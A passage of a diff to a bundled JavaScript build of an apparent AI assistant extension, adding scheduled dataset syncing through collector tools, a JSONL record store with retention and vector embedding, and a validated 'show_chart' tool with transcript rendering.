+ const search = await resolveDatasetSearch(config2, dataset);
61444
+ const embedder = await resolveEmbedder(config2);
61445
+ if (collection === void 0 || search === void 0 || embedder === void 0)
61446
+ return void 0;
61447
+ return {
61448
+ embedder,
61449
+ collection,
61450
+ writer: createVectorIndexWriter(httpClient, search.store, await vectorStoreConnectionFor(search.store, search.id)),
61451
+ searcher: search.searcher
61452
+ };
61453
+ }
61454
+ async function runDatasetSync(id, reason) {
61455
+ if (datasetBusy.has(id))
61456
+ return;
61457
+ const config2 = await loadSettings();
61458
+ const dataset = (config2.datasets ?? []).find((entry) => entry.id === id);
61459
+ if (dataset === void 0)
61460
+ return;
61461
+ datasetBusy.add(id);
61462
+ const signal = beginIndexing(`dataset:${id}`);
61463
+ reportIndexing("dataset", `Syncing ${dataset.name}`, { detail: `via ${dataset.toolName}` });
61464
+ try {
61465
+ const semantic = await datasetSemantic(config2, dataset);
61466
+ const result = await syncDataset({
61467
+ datasetId: id,
61468
+ store: datasetStoreFor(id),
61469
+ signal,
61470
+ onProgress: (done, total, phase) => reportIndexing("dataset", phase, { done, total }),
61471
+ ...dataset.retentionDays !== void 0 ? { retentionDays: dataset.retentionDays } : {},
61472
+ ...semantic !== void 0 ? { semantic: { embedder: semantic.embedder, writer: semantic.writer, collection: semantic.collection } } : {},
61473
+ /*
61474
+ * The collector runs through the ordinary Python tool path, so it is the same code that
61475
+ * validated it, the same worker, the same timeout. A second execution path would be a
61476
+ * second thing to keep in step with tool approval.
61477
+ */
61478
+ collect: async (since2) => {
61479
+ const registry2 = currentToolRegistry();
61480
+ const tool = registry2.get(dataset.toolName) ?? registry2.get(`py__${dataset.toolName}`);
61481
+ if (tool === void 0) {
61482
+ throw new Error(`The collector tool "${dataset.toolName}" is not registered. A Python tool may have been deleted or Python switched off; an MCP tool may be from a server that is disconnected or disabled. Settings \u2192 Tools lists everything callable.`);
61483
+ }
61484
+ const args = { ...dataset.arguments ?? {}, ...since2 === void 0 ? {} : { since: since2 } };
61485
+ const output = await tool.execute(args, { signal });
61486
+ if (output.isError === true)
61487
+ throw new Error(String(output.content));
61488
+ try {
61489
+ return JSON.parse(typeof output.content === "string" ? output.content : JSON.stringify(output.content));
61490
+ } catch {
61491
+ throw new Error("The collector tool did not return JSON. It must return a list of records \u2014 see the guidance in Settings \u2192 Custom data.");
61492
+ }
61493
+ }
61494
+ });
61495
+ const detail = result.updated === 0 ? `No changes (${reason}). ${String(result.total)} record(s) held.` : `${String(result.updated)} record(s) updated, ${String(result.embedded)} embedded${result.removed > 0 ? `, ${String(result.removed)} removed by retention` : ""}. ${String(result.total)} held.`;
61496
+ datasetResults.set(id, { detail, failed: false, at: Date.now() });
61497
+ reportIndexing("dataset", "Finished", { detail, running: false });
61498
+ } catch (error51) {
61499
+ const stopped = signal.aborted;
61500
+ const detail = stopped ? "Stopped." : error51 instanceof Error ? error51.message : String(error51);
61501
+ datasetResults.set(id, { detail, failed: !stopped, at: Date.now() });
61502
+ if (!stopped)
61503
+ logger.warn(`dataset "${dataset.name}" sync failed: ${detail}`);
61504
+ reportIndexing("dataset", stopped ? "Stopped" : "Failed", { detail, running: false });
61505
+ } finally {
61506
+ datasetBusy.delete(id);
61507
+ endIndexing(`dataset:${id}`);
61508
+ await postDatasetStatus();
61509
+ }
61510
+ }
61511
+ async function handleClearDataset(id, resync) {
61512
+ if (datasetBusy.has(id))
61513
+ return;
61514
+ const config2 = await loadSettings();
61515
+ const dataset = (config2.datasets ?? []).find((entry) => entry.id === id);
61516
+ if (dataset === void 0)
61517
+ return;
61518
+ datasetBusy.add(id);
61519
+ const signal = beginIndexing(`dataset:${id}`);
61520
+ reportIndexing("dataset", `Clearing ${dataset.name}`);
61521
+ try {
61522
+ const semantic = await datasetSemantic(config2, dataset);
61523
+ const { removed } = await clearDataset({
61524
+ datasetId: id,
61525
+ store: datasetStoreFor(id),
61526
+ signal,
61527
+ onProgress: (done, total, phase) => reportIndexing("dataset", phase, { done, total }),
61528
+ ...semantic !== void 0 ? { semantic: { writer: semantic.writer, collection: semantic.collection } } : {}
61529
+ });
61530
+ const detail = `Cleared ${String(removed)} record(s).`;
61531
+ datasetResults.set(id, { detail, failed: false, at: Date.now() });
61532
+ reportIndexing("dataset", "Finished", { detail, running: false });
61533
+ } catch (error51) {
61534
+ const detail = error51 instanceof Error ? error51.message : String(error51);
61535
+ datasetResults.set(id, { detail, failed: true, at: Date.now() });
61536
+ logger.warn(`dataset clear failed: ${detail}`);
61537
+ reportIndexing("dataset", "Failed", { detail, running: false });
61538
+ } finally {
61539
+ datasetBusy.delete(id);
61540
+ endIndexing(`dataset:${id}`);
61541
+ await postDatasetStatus();
61542
+ }
61543
+ if (resync)
61544
+ await runDatasetSync(id, "rebuild");
61545
+ }
61546
+ function reconcileDatasetTimers(config2) {
61547
+ for (const timer of datasetTimers.values())
61548
+ clearInterval(timer);
61549
+ datasetTimers.clear();
61550
+ for (const dataset of config2.datasets ?? []) {
61551
+ const minutes = dataset.syncMinutes ?? 0;
61552
+ if (dataset.enabled === false || minutes <= 0)
61553
+ continue;
61554
+ const timer = setInterval(() => void runDatasetSync(dataset.id, "scheduled"), minutes * 60 * 1e3);
61555
+ timer.unref?.();
61556
+ datasetTimers.set(dataset.id, timer);
61557
+ }
61558
+ }
61559
+ async function postDatasetStatus() {
61560
+ const config2 = (await configManager.load()).config;
61561
+ const datasets = config2.datasets ?? [];
61562
+ const collection = datasetCollectionName(config2);
61563
+ const embedder = await resolveEmbedder(config2).catch(() => void 0);
61564
+ const entries = await Promise.all(datasets.map(async (dataset) => {
61565
+ const store = datasetStoreFor(dataset.id);
61566
+ const records = await store.load();
61567
+ const times = records.map((record2) => record2.timestamp).filter((at) => at !== void 0);
61568
+ const search = await resolveDatasetSearch(config2, dataset).catch(() => void 0);
61569
+ return {
61570
+ ...dataset,
61571
+ records: records.length,
61572
+ sizeBytes: await store.sizeBytes(),
61573
+ ...times.length > 0 ? { oldest: Math.min(...times), newest: Math.max(...times) } : {},
61574
+ ...await store.lastSyncedAt() !== void 0 ? { lastSyncedAt: await store.lastSyncedAt() } : {},
61575
+ busy: datasetBusy.has(dataset.id),
61576
+ ...datasetResults.get(dataset.id) !== void 0 ? {
61577
+ lastResult: datasetResults.get(dataset.id).detail,
61578
+ lastFailed: datasetResults.get(dataset.id).failed,
61579
+ lastAttemptAt: datasetResults.get(dataset.id).at
61580
+ } : {},
61581
+ storeLabel: search?.store.label ?? "none"
61582
+ };
61583
+ }));
61584
+ post({
61585
+ type: "datasetStatus",
61586
+ datasets: entries,
61587
+ // Said plainly, because a dataset with no embedder still syncs and still searches — on words
61588
+ // rather than meaning — and someone seeing results would otherwise assume it is semantic.
61589
+ semantic: collection !== void 0 && embedder !== void 0,
61590
+ /*
61591
+ * Python tools and MCP tools, selected by what they *are* rather than by group.
61592
+ *
61593
+ * Filtering on `group` was wrong and showed only the built-ins: a Python tool is registered
61594
+ * as `command`, because it runs code, and an MCP tool as `mcp`. Those two groups also hold
61595
+ * `execute_command` and the tool-authoring tools, which are not data sources — so the test
61596
+ * is the `py__` prefix and the mcp group, not a permission category. Reported as the picker
61597
+ * listing only built-in tools.
61598
+ */
61599
+ tools: currentToolRegistry().list().filter((tool) => tool.name.startsWith("py__") || tool.group === "mcp").map((tool) => ({
61600
+ name: tool.name,
61601
+ description: tool.description,
61602
+ // Grouped in the picker, because "which of these is mine?" is the first question with
61603
+ // forty MCP tools in the list.
61604
+ kind: tool.name.startsWith("py__") ? "python" : "mcp"
61605
+ })),
61606
+ guidance: COLLECTOR_TOOL_GUIDANCE
61607
+ });
61608
+ }
61609
+ async function handleSaveDataset(dataset) {
61610
+ const { config: config2 } = await configManager.load();
61611
+ const existing = config2.datasets ?? [];
61612
+ const next = existing.some((entry) => entry.id === dataset.id) ? existing.map((entry) => entry.id === dataset.id ? dataset : entry) : [...existing, dataset];
61613
+ await configManager.save("user", { datasets: next });
61614
+ reconcileDatasetTimers((await configManager.load()).config);
61615
+ await postDatasetStatus();
61616
+ }
61617
+ async function handleDeleteDataset(id) {
61618
+ const { config: config2 } = await configManager.load();
61619
+ await handleClearDataset(id, false);
61620
+ await configManager.save("user", {
61621
+ datasets: (config2.datasets ?? []).filter((entry) => entry.id !== id)
61622
+ });
61623
+ datasetResults.delete(id);
61624
+ reconcileDatasetTimers((await configManager.load()).config);
61625
+ await postDatasetStatus();
61626
+ }
60660
61627
  function reconcileMailTimer(config2) {
60661
61628
  if (mailTimer !== void 0) {
60662
61629
  clearInterval(mailTimer);
@@ -60706,9 +61673,9 @@ function wireChatBridge(services) {
60706
61673
  });
60707
61674
  const all = result.folders.map((entry) => entry.path);
60708
61675
  const wanted = new Set(chosen);
60709
- for (const path33 of all) {
60710
- if (chosen.some((root) => path33 === root || path33.startsWith(`${root}\\`)))
60711
- wanted.add(path33);
61676
+ for (const path34 of all) {
61677
+ if (chosen.some((root) => path34 === root || path34.startsWith(`${root}\\`)))
61678
+ wanted.add(path34);
60712
61679
  }
60713
61680
  return [...wanted];
60714
61681
  } catch {
@@ -60925,6 +61892,7 @@ function wireChatBridge(services) {
60925
61892
  });
60926
61893
  const config2 = await loadSettings();
60927
61894
  reconcileMailTimer(config2);
61895
+ reconcileDatasetTimers(config2);
60928
61896
  await postMailStatus();
60929
61897
  if (config2.mail?.enabled === true)
60930
61898
  void runMailSync("just enabled");
@@ -61089,7 +62057,7 @@ function wireChatBridge(services) {
61089
62057
  return void 0;
61090
62058
  try {
61091
62059
  const listed = await new Promise((resolve, reject2) => {
61092
- const child = spawn5(ripgrepPath, ["--files", "--hidden", "--glob", "!.git"], { cwd: workspaceRoot });
62060
+ const child = spawn6(ripgrepPath, ["--files", "--hidden", "--glob", "!.git"], { cwd: workspaceRoot });
61093
62061
  let out = "";
61094
62062
  child.stdout.on("data", (chunk) => out += chunk.toString("utf8"));
61095
62063
  child.on("error", reject2);
@@ -61203,6 +62171,28 @@ function wireChatBridge(services) {
61203
62171
  const { config: config2 } = await configManager.load();
61204
62172
  const search = await resolveSearch(config2);
61205
62173
  const embedder = await resolveEmbedder(config2);
62174
+ if (target === "data") {
62175
+ const datasets = config2.datasets ?? [];
62176
+ const collection = datasetCollectionName(config2);
62177
+ const dataSearch = await resolveDatasetSearch(config2);
62178
+ const tool2 = createSearchDataTool({
62179
+ load: async () => Promise.all(datasets.map(async (dataset) => ({
62180
+ id: dataset.id,
62181
+ name: dataset.name,
62182
+ records: await new DatasetStore(storageDir, dataset.id).load()
62183
+ }))),
62184
+ ...collection !== void 0 && dataSearch !== void 0 && embedder !== void 0 ? { semantic: { searcher: dataSearch.searcher, embedder, collection } } : {}
62185
+ });
62186
+ const result2 = await tool2.execute({ query, limit: 25 }, {});
62187
+ post({
62188
+ type: "searchProbe",
62189
+ target,
62190
+ query,
62191
+ text: result2.content,
62192
+ ...result2.isError === true ? { error: "The search failed." } : {}
62193
+ });
62194
+ return;
62195
+ }
61206
62196
  if (target === "mail") {
61207
62197
  const collection = mailCollectionName(config2);
61208
62198
  const mailSearch = await resolveMailSearch(config2);
@@ -62394,6 +63384,7 @@ function wireChatBridge(services) {
62394
63384
  } else if (message3.type === "requestMailStatus") {
62395
63385
  void loadSettings().then((config2) => {
62396
63386
  reconcileMailTimer(config2);
63387
+ reconcileDatasetTimers(config2);
62397
63388
  return postMailStatus();
62398
63389
  });
62399
63390
  } else if (message3.type === "saveMailSettings") {
@@ -62409,6 +63400,16 @@ function wireChatBridge(services) {
62409
63400
  void handleClearTeamSkills();
62410
63401
  } else if (message3.type === "refreshMail") {
62411
63402
  void handleRefreshMail(message3.days);
63403
+ } else if (message3.type === "requestDatasetStatus") {
63404
+ void postDatasetStatus();
63405
+ } else if (message3.type === "saveDataset") {
63406
+ void handleSaveDataset(message3.dataset);
63407
+ } else if (message3.type === "deleteDataset") {
63408
+ void handleDeleteDataset(message3.id);
63409
+ } else if (message3.type === "syncDataset") {
63410
+ void runDatasetSync(message3.id, "manual");
63411
+ } else if (message3.type === "clearDataset") {
63412
+ void handleClearDataset(message3.id, message3.resync === true);
62412
63413
  } else if (message3.type === "clearMailIndex") {
62413
63414
  void handleClearMailIndex(message3.resync === true);
62414
63415
  } else if (message3.type === "saveSkillsAlias") {
@@ -62588,6 +63589,21 @@ ${entry.content}`);
62588
63589
  lines.push(`## Thinking
62589
63590
 
62590
63591
  ${entry.content}`);
63592
+ } else if (entry.kind === "chart") {
63593
+ const chart = entry.chart;
63594
+ const header = ["", ...chart.series.map((series) => series.name)];
63595
+ lines.push([
63596
+ `## ${chart.title ?? "Chart"}`,
63597
+ "",
63598
+ `| ${header.join(" | ")} |`,
63599
+ `| ${header.map(() => "---").join(" | ")} |`,
63600
+ ...chart.categories.map((category, index) => `| ${category} | ${chart.series.map((series) => String(series.values[index] ?? "")).join(" | ")} |`),
63601
+ ...chart.note === void 0 ? [] : ["", chart.note]
63602
+ ].join("\n"));
63603
+ } else if (entry.kind === "chartError") {
63604
+ lines.push(`## Chart
63605
+
63606
+ Could not be drawn: ${entry.message}`);
62591
63607
  } else {
62592
63608
  const call = entry.toolCall;
62593
63609
  lines.push([
@@ -63088,6 +64104,89 @@ function deriveTitle(messages) {
63088
64104
  return `${cut.trimEnd()}\u2026`;
63089
64105
  }
63090
64106
 
64107
+ // ../../packages/core/dist/charts/types.js
64108
+ var CHART_TYPES = ["bar", "stackedBar", "groupedBar", "line", "multiLine", "pie"];
64109
+ var MAX_CATEGORIES = 200;
64110
+ var MAX_SERIES = 12;
64111
+ var finiteNumber = external_exports.number().refine((value) => Number.isFinite(value), { message: "must be a finite number" });
64112
+ var chartSeriesSchema = external_exports.object({
64113
+ name: external_exports.string().min(1).describe('What this series is, e.g. "Alerts" or "Inbox". Shown in the legend.'),
64114
+ values: external_exports.array(finiteNumber).min(1).max(MAX_CATEGORIES).describe("One number per category, in the same order as `categories`."),
64115
+ /**
64116
+ * What each number is made of, for the reader who asks "which ones?".
64117
+ *
64118
+ * Aligned with `values` by index, and any entry may be omitted. This is the drill-down: a bar
64119
+ * showing 14 alerts can list the fourteen subjects, so the chart is a way *into* the data rather
64120
+ * than a summary that replaces it.
64121
+ */
64122
+ detail: external_exports.array(external_exports.union([external_exports.array(external_exports.string()), external_exports.null()])).max(MAX_CATEGORIES).optional().describe("Optional. For each value, the rows behind it \u2014 subjects, ids, filenames, whatever the number counted. Same order as `values`; use null where there is nothing to show.")
64123
+ });
64124
+ var chartSpecSchema = external_exports.object({
64125
+ type: external_exports.enum(CHART_TYPES).describe("bar, stackedBar, groupedBar, line, multiLine or pie."),
64126
+ title: external_exports.string().max(200).optional(),
64127
+ categories: external_exports.array(external_exports.string()).min(1).max(MAX_CATEGORIES).describe("The x axis, or the pie slice labels. One per value in every series."),
64128
+ series: external_exports.array(chartSeriesSchema).min(1).max(MAX_SERIES),
64129
+ xLabel: external_exports.string().max(80).optional(),
64130
+ yLabel: external_exports.string().max(80).optional(),
64131
+ note: external_exports.string().max(500).optional().describe("A line under the chart. Say where the numbers came from, and what they exclude.")
64132
+ }).superRefine((spec, context) => {
64133
+ for (const [index, series] of spec.series.entries()) {
64134
+ if (series.values.length !== spec.categories.length) {
64135
+ context.addIssue({
64136
+ code: "custom",
64137
+ path: ["series", index, "values"],
64138
+ /*
64139
+ * Refused rather than padded, and the message says the counts.
64140
+ *
64141
+ * A silently padded series draws a chart that is the right shape and the wrong answer,
64142
+ * and nobody checks a chart against its data — that is what a chart is for. Being told
64143
+ * the two numbers is also what lets the model fix it in one turn.
64144
+ */
64145
+ message: `series "${series.name}" has ${String(series.values.length)} value(s) but there are ${String(spec.categories.length)} categories. They must match exactly \u2014 a chart drawn from misaligned data looks correct and is not.`
64146
+ });
64147
+ }
64148
+ if (series.detail !== void 0 && series.detail.length > series.values.length) {
64149
+ context.addIssue({
64150
+ code: "custom",
64151
+ path: ["series", index, "detail"],
64152
+ message: `series "${series.name}" has more detail entries than values.`
64153
+ });
64154
+ }
64155
+ }
64156
+ if (spec.type === "pie") {
64157
+ if (spec.series.length !== 1) {
64158
+ context.addIssue({
64159
+ code: "custom",
64160
+ path: ["series"],
64161
+ message: "a pie chart takes exactly one series \u2014 use stackedBar or groupedBar for several."
64162
+ });
64163
+ }
64164
+ if (spec.series.some((series) => series.values.some((value) => value < 0))) {
64165
+ context.addIssue({
64166
+ code: "custom",
64167
+ path: ["series"],
64168
+ // A negative slice has no meaning: it cannot be drawn, and drawing its absolute value
64169
+ // would misreport the total every other slice is measured against.
64170
+ message: "a pie chart cannot show negative values."
64171
+ });
64172
+ }
64173
+ }
64174
+ if (spec.type === "stackedBar" && spec.series.some((series) => series.values.some((value) => value < 0))) {
64175
+ context.addIssue({
64176
+ code: "custom",
64177
+ path: ["series"],
64178
+ message: "a stacked bar cannot show negative values \u2014 the segments would overlap rather than stack."
64179
+ });
64180
+ }
64181
+ });
64182
+ function chartTotals(spec) {
64183
+ const series = spec.series.map((entry) => ({
64184
+ name: entry.name,
64185
+ total: entry.values.reduce((sum, value) => sum + value, 0)
64186
+ }));
64187
+ return { series, grand: series.reduce((sum, entry) => sum + entry.total, 0) };
64188
+ }
64189
+
63091
64190
  // ../../packages/core/dist/history/transcript.js
63092
64191
  var CONTROL_TOOLS = /* @__PURE__ */ new Set(["attempt_completion", "ask_followup_question"]);
63093
64192
  function formatToolArguments(raw) {
@@ -63134,6 +64233,11 @@ function toTranscript(messages) {
63134
64233
  }
63135
64234
  for (const toolCall of message3.toolCalls ?? []) {
63136
64235
  const result = resultsByCallId.get(toolCall.id);
64236
+ const asChart = chartFromToolCall(toolCall.name, toolCall.arguments);
64237
+ if (asChart !== void 0) {
64238
+ entries.push(asChart.kind === "chart" ? { kind: "chart", chart: asChart.chart, ...expertInformed ? { expertInformed: true } : {} } : asChart);
64239
+ continue;
64240
+ }
63137
64241
  if (CONTROL_TOOLS.has(toolCall.name)) {
63138
64242
  if (result !== void 0)
63139
64243
  entries.push({ kind: "text", role: "assistant", content: result });
@@ -63159,6 +64263,19 @@ function toTranscript(messages) {
63159
64263
  }
63160
64264
  return entries;
63161
64265
  }
64266
+ function chartFromToolCall(name, rawArguments) {
64267
+ if (name !== "show_chart")
64268
+ return void 0;
64269
+ const parsed = chartSpecSchema.safeParse(decodeArguments(rawArguments));
64270
+ return parsed.success ? { kind: "chart", chart: parsed.data } : { kind: "chartError", message: parsed.error.issues.map((issue2) => issue2.message).join("; ") };
64271
+ }
64272
+ function decodeArguments(raw) {
64273
+ try {
64274
+ return JSON.parse(raw.length > 0 ? raw : "{}");
64275
+ } catch {
64276
+ return raw;
64277
+ }
64278
+ }
63162
64279
 
63163
64280
  // ../../packages/core/dist/history/redactTask.js
63164
64281
  function redactMessage(message3, knownSecrets) {
@@ -63186,6 +64303,29 @@ function redactTask(task, knownSecrets) {
63186
64303
  };
63187
64304
  }
63188
64305
 
64306
+ // ../../packages/core/dist/tools/showChart.js
64307
+ function createShowChartTool() {
64308
+ return {
64309
+ name: "show_chart",
64310
+ // A control tool: it presents, it does not act. Never filtered out by a mode, never gated.
64311
+ group: "always",
64312
+ description: "Draw a chart for the user: bar, stackedBar, groupedBar, line, multiLine or pie. Give `categories` (the x axis, or the pie slice labels) and one or more named `series`, each with one number per category. Use it whenever a set of numbers is easier seen than read \u2014 counts per folder or per day, a value trending over time, a breakdown of a total. Series lengths must match the categories exactly; a mismatch is refused rather than padded, because a chart drawn from misaligned data looks correct and is not. Add `detail` to a series to record what each number is made of (the subjects counted, the files measured) \u2014 the user can then open any point and see what went into it, which is what makes a chart worth drawing rather than a summary that hides the evidence. Say in `note` where the numbers came from and what they leave out.",
64313
+ parametersSchema: chartSpecSchema,
64314
+ async execute(params) {
64315
+ const totals = chartTotals(params);
64316
+ const detailed = params.series.filter((series) => series.detail !== void 0).length;
64317
+ return {
64318
+ content: [
64319
+ `Drew a ${params.type} chart${params.title === void 0 ? "" : ` titled "${params.title}"`} with ${String(params.categories.length)} categor(ies) and ${String(params.series.length)} series.`,
64320
+ ...totals.series.map((entry) => ` ${entry.name}: total ${String(entry.total)}`),
64321
+ detailed === 0 ? "No per-point detail was given, so the user cannot open a point to see what is behind it. Add `detail` when the numbers count things worth naming." : `${String(detailed)} series carr(ies) per-point detail, so the user can open a point and see what went into it.`,
64322
+ "The chart is now in the conversation. Describe what it shows rather than reciting the numbers again \u2014 they are on screen."
64323
+ ].join("\n")
64324
+ };
64325
+ }
64326
+ };
64327
+ }
64328
+
63189
64329
  // ../../packages/core/dist/tools/applyDiff/eol.js
63190
64330
  function detectEol(text) {
63191
64331
  const crlfCount = (text.match(/\r\n/g) ?? []).length;
@@ -63674,10 +64814,10 @@ function readSmall(raw, params) {
63674
64814
  const end = params.limit !== void 0 ? start + params.limit : lines.length;
63675
64815
  return number4(lines.slice(start, end), start + 1);
63676
64816
  }
63677
- async function readLarge(fs26, realPath, params, size) {
64817
+ async function readLarge(fs27, realPath, params, size) {
63678
64818
  const human = formatBytes(size);
63679
64819
  if (params.tail !== void 0) {
63680
- const part = await readTail(fs26, realPath, size, params.tail);
64820
+ const part = await readTail(fs27, realPath, size, params.tail);
63681
64821
  return [
63682
64822
  `${human} file \u2014 last ${String(part.lines.length)} lines.`,
63683
64823
  /*
@@ -63692,7 +64832,7 @@ async function readLarge(fs26, realPath, params, size) {
63692
64832
  }
63693
64833
  if (params.offset !== void 0) {
63694
64834
  const limit = params.limit ?? DEFAULT_LARGE_LIMIT;
63695
- const part = await readLineWindow(fs26, realPath, size, params.offset, limit);
64835
+ const part = await readLineWindow(fs27, realPath, size, params.offset, limit);
63696
64836
  const shown = part.lines.length;
63697
64837
  return [
63698
64838
  `${human} file \u2014 lines ${String(params.offset)}\u2013${String(params.offset + shown - 1)}${part.hasMoreAfter ? ", more follows" : " (end of file)"}.`,
@@ -63700,7 +64840,7 @@ async function readLarge(fs26, realPath, params, size) {
63700
64840
  number4(part.lines, params.offset)
63701
64841
  ].join("\n");
63702
64842
  }
63703
- const total = await countLines(fs26, realPath, size);
64843
+ const total = await countLines(fs27, realPath, size);
63704
64844
  return [
63705
64845
  `${realPathName(realPath)} is ${human} (${total.toLocaleString()} lines) \u2014 too large to read at once.`,
63706
64846
  "",
@@ -63894,10 +65034,339 @@ function createDefaultToolRegistry() {
63894
65034
  registry2.register(executeCommandTool);
63895
65035
  registry2.register(askFollowupQuestionTool);
63896
65036
  registry2.register(createAskUserFormTool());
65037
+ registry2.register(createShowChartTool());
63897
65038
  registry2.register(attemptCompletionTool);
63898
65039
  return registry2;
63899
65040
  }
63900
65041
 
65042
+ // ../../packages/core/dist/dataset/store.js
65043
+ import fs19 from "node:fs/promises";
65044
+ import path26 from "node:path";
65045
+ var DatasetStore = class {
65046
+ filePath;
65047
+ statePath;
65048
+ constructor(storageDir, datasetId) {
65049
+ const safe = datasetId.replace(/[^A-Za-z0-9._-]/g, "_");
65050
+ this.filePath = path26.join(storageDir, "datasets", `${safe}.jsonl`);
65051
+ this.statePath = path26.join(storageDir, "datasets", `${safe}.state.json`);
65052
+ }
65053
+ /** Every record. A malformed line is skipped — one bad line costs one record, not the corpus. */
65054
+ async load() {
65055
+ let raw;
65056
+ try {
65057
+ raw = await fs19.readFile(this.filePath, "utf8");
65058
+ } catch {
65059
+ return [];
65060
+ }
65061
+ const byId = /* @__PURE__ */ new Map();
65062
+ for (const line of raw.split("\n")) {
65063
+ const trimmed = line.trim();
65064
+ if (trimmed.length === 0)
65065
+ continue;
65066
+ try {
65067
+ const parsed = JSON.parse(trimmed);
65068
+ if (typeof parsed.id === "string" && typeof parsed.text === "string")
65069
+ byId.set(parsed.id, parsed);
65070
+ } catch {
65071
+ }
65072
+ }
65073
+ return [...byId.values()];
65074
+ }
65075
+ /** Appends. Re-appending an existing id is how an update is recorded — see `load`. */
65076
+ async append(records) {
65077
+ if (records.length === 0)
65078
+ return;
65079
+ await fs19.mkdir(path26.dirname(this.filePath), { recursive: true });
65080
+ await fs19.writeFile(this.filePath, "", { flag: "a" });
65081
+ const lines = records.map((record2) => JSON.stringify(record2)).join("\n");
65082
+ await fs19.appendFile(this.filePath, `${lines}
65083
+ `, "utf8");
65084
+ }
65085
+ /** Rewrites with exactly these. Temp-and-rename, so an interrupted prune leaves the old file. */
65086
+ async replace(records) {
65087
+ await fs19.mkdir(path26.dirname(this.filePath), { recursive: true });
65088
+ const temporary = `${this.filePath}.tmp`;
65089
+ const body = records.map((record2) => JSON.stringify(record2)).join("\n");
65090
+ await fs19.writeFile(temporary, records.length === 0 ? "" : `${body}
65091
+ `, "utf8");
65092
+ await fs19.rename(temporary, this.filePath);
65093
+ }
65094
+ /**
65095
+ * Rewrites the file with the duplicates collapsed.
65096
+ *
65097
+ * Append-as-upsert means a record updated every hour adds a line every hour, so the file grows
65098
+ * with the *number of syncs* rather than the size of the corpus. Compaction is cheap and only
65099
+ * worth doing when it would actually shrink anything, which the caller decides.
65100
+ */
65101
+ async compact() {
65102
+ let before;
65103
+ try {
65104
+ before = (await fs19.readFile(this.filePath, "utf8")).split("\n").filter((line) => line.trim().length > 0).length;
65105
+ } catch {
65106
+ return { before: 0, after: 0 };
65107
+ }
65108
+ const records = await this.load();
65109
+ if (records.length === before)
65110
+ return { before, after: before };
65111
+ await this.replace(records);
65112
+ return { before, after: records.length };
65113
+ }
65114
+ async clear() {
65115
+ await fs19.rm(this.filePath, { force: true });
65116
+ await fs19.rm(this.statePath, { force: true });
65117
+ }
65118
+ async sizeBytes() {
65119
+ try {
65120
+ return (await fs19.stat(this.filePath)).size;
65121
+ } catch {
65122
+ return 0;
65123
+ }
65124
+ }
65125
+ /**
65126
+ * When the last successful sync finished, passed to the collector as `since`.
65127
+ *
65128
+ * Written only on success, deliberately: after a failed run the next one must ask for the same
65129
+ * window again, or whatever the source produced while it was broken is skipped for ever with
65130
+ * nothing anywhere recording the gap.
65131
+ */
65132
+ async lastSyncedAt() {
65133
+ try {
65134
+ const parsed = JSON.parse(await fs19.readFile(this.statePath, "utf8"));
65135
+ return typeof parsed.lastSyncedAt === "number" ? parsed.lastSyncedAt : void 0;
65136
+ } catch {
65137
+ return void 0;
65138
+ }
65139
+ }
65140
+ async recordSync(at) {
65141
+ await fs19.mkdir(path26.dirname(this.statePath), { recursive: true });
65142
+ const temporary = `${this.statePath}.tmp`;
65143
+ await fs19.writeFile(temporary, JSON.stringify({ lastSyncedAt: at }), "utf8");
65144
+ await fs19.rename(temporary, this.statePath);
65145
+ }
65146
+ };
65147
+ function partitionByAge(records, cutoff) {
65148
+ const kept = [];
65149
+ const removed = [];
65150
+ for (const record2 of records) {
65151
+ if (record2.timestamp !== void 0 && record2.timestamp < cutoff)
65152
+ removed.push(record2);
65153
+ else
65154
+ kept.push(record2);
65155
+ }
65156
+ return { kept, removed };
65157
+ }
65158
+
65159
+ // ../../packages/core/dist/dataset/sync.js
65160
+ function datasetEmbedText(record2) {
65161
+ return [record2.title, record2.text].filter((part) => part !== void 0 && part.length > 0).join("\n");
65162
+ }
65163
+ function datasetVectorId(datasetId, recordId) {
65164
+ return `data:${datasetId}:${recordId}`;
65165
+ }
65166
+ async function syncDataset(options) {
65167
+ const now = options.now ?? Date.now();
65168
+ const held = await options.store.load();
65169
+ const heldById = new Map(held.map((record2) => [record2.id, record2]));
65170
+ options.onProgress?.(0, 0, "Running the collector");
65171
+ const since2 = await options.store.lastSyncedAt();
65172
+ const payload = await options.collect(since2);
65173
+ const parsed = parseDatasetPayload(payload);
65174
+ if ("error" in parsed)
65175
+ throw new Error(parsed.error);
65176
+ const collected = parsed.records;
65177
+ const changed = collected.filter((record2) => {
65178
+ const existing = heldById.get(record2.id);
65179
+ return existing === void 0 || JSON.stringify(existing) !== JSON.stringify(record2);
65180
+ });
65181
+ let embedded = 0;
65182
+ if (options.semantic !== void 0 && changed.length > 0) {
65183
+ const { embedder, writer, collection } = options.semantic;
65184
+ await writer.ensureCollection(collection, embedder.dimensions, options.signal);
65185
+ const documents = [];
65186
+ for (const record2 of changed) {
65187
+ if (options.signal?.aborted === true)
65188
+ throw new Error("Stopped.");
65189
+ options.onProgress?.(documents.length, changed.length, "Embedding new and changed records");
65190
+ const existing = heldById.get(record2.id);
65191
+ if (existing !== void 0 && datasetEmbedText(existing) === datasetEmbedText(record2))
65192
+ continue;
65193
+ const text = datasetEmbedText(record2);
65194
+ if (text.trim().length === 0)
65195
+ continue;
65196
+ documents.push({
65197
+ id: datasetVectorId(options.datasetId, record2.id),
65198
+ text,
65199
+ // The id travels in `path`, which is how a hit is joined back to its record.
65200
+ path: datasetVectorId(options.datasetId, record2.id),
65201
+ startLine: 1,
65202
+ endLine: 1,
65203
+ vector: await embedder.embed(text)
65204
+ });
65205
+ }
65206
+ if (documents.length > 0) {
65207
+ await writer.upsert(collection, documents, options.signal);
65208
+ embedded = documents.length;
65209
+ }
65210
+ }
65211
+ if (changed.length > 0)
65212
+ await options.store.append(changed);
65213
+ let removed = 0;
65214
+ if (options.retentionDays !== void 0) {
65215
+ const cutoff = now - options.retentionDays * 24 * 60 * 60 * 1e3;
65216
+ const after = await options.store.load();
65217
+ const { kept, removed: old } = partitionByAge(after, cutoff);
65218
+ if (old.length > 0) {
65219
+ options.onProgress?.(0, old.length, "Removing records past retention");
65220
+ if (options.semantic !== void 0) {
65221
+ await options.semantic.writer.deleteByPaths(options.semantic.collection, old.map((record2) => datasetVectorId(options.datasetId, record2.id)), options.signal);
65222
+ }
65223
+ await options.store.replace(kept);
65224
+ removed = old.length;
65225
+ }
65226
+ }
65227
+ await options.store.compact();
65228
+ await options.store.recordSync(now);
65229
+ const total = (await options.store.load()).length;
65230
+ return { collected: collected.length, updated: changed.length, embedded, removed, total };
65231
+ }
65232
+ async function clearDataset(options) {
65233
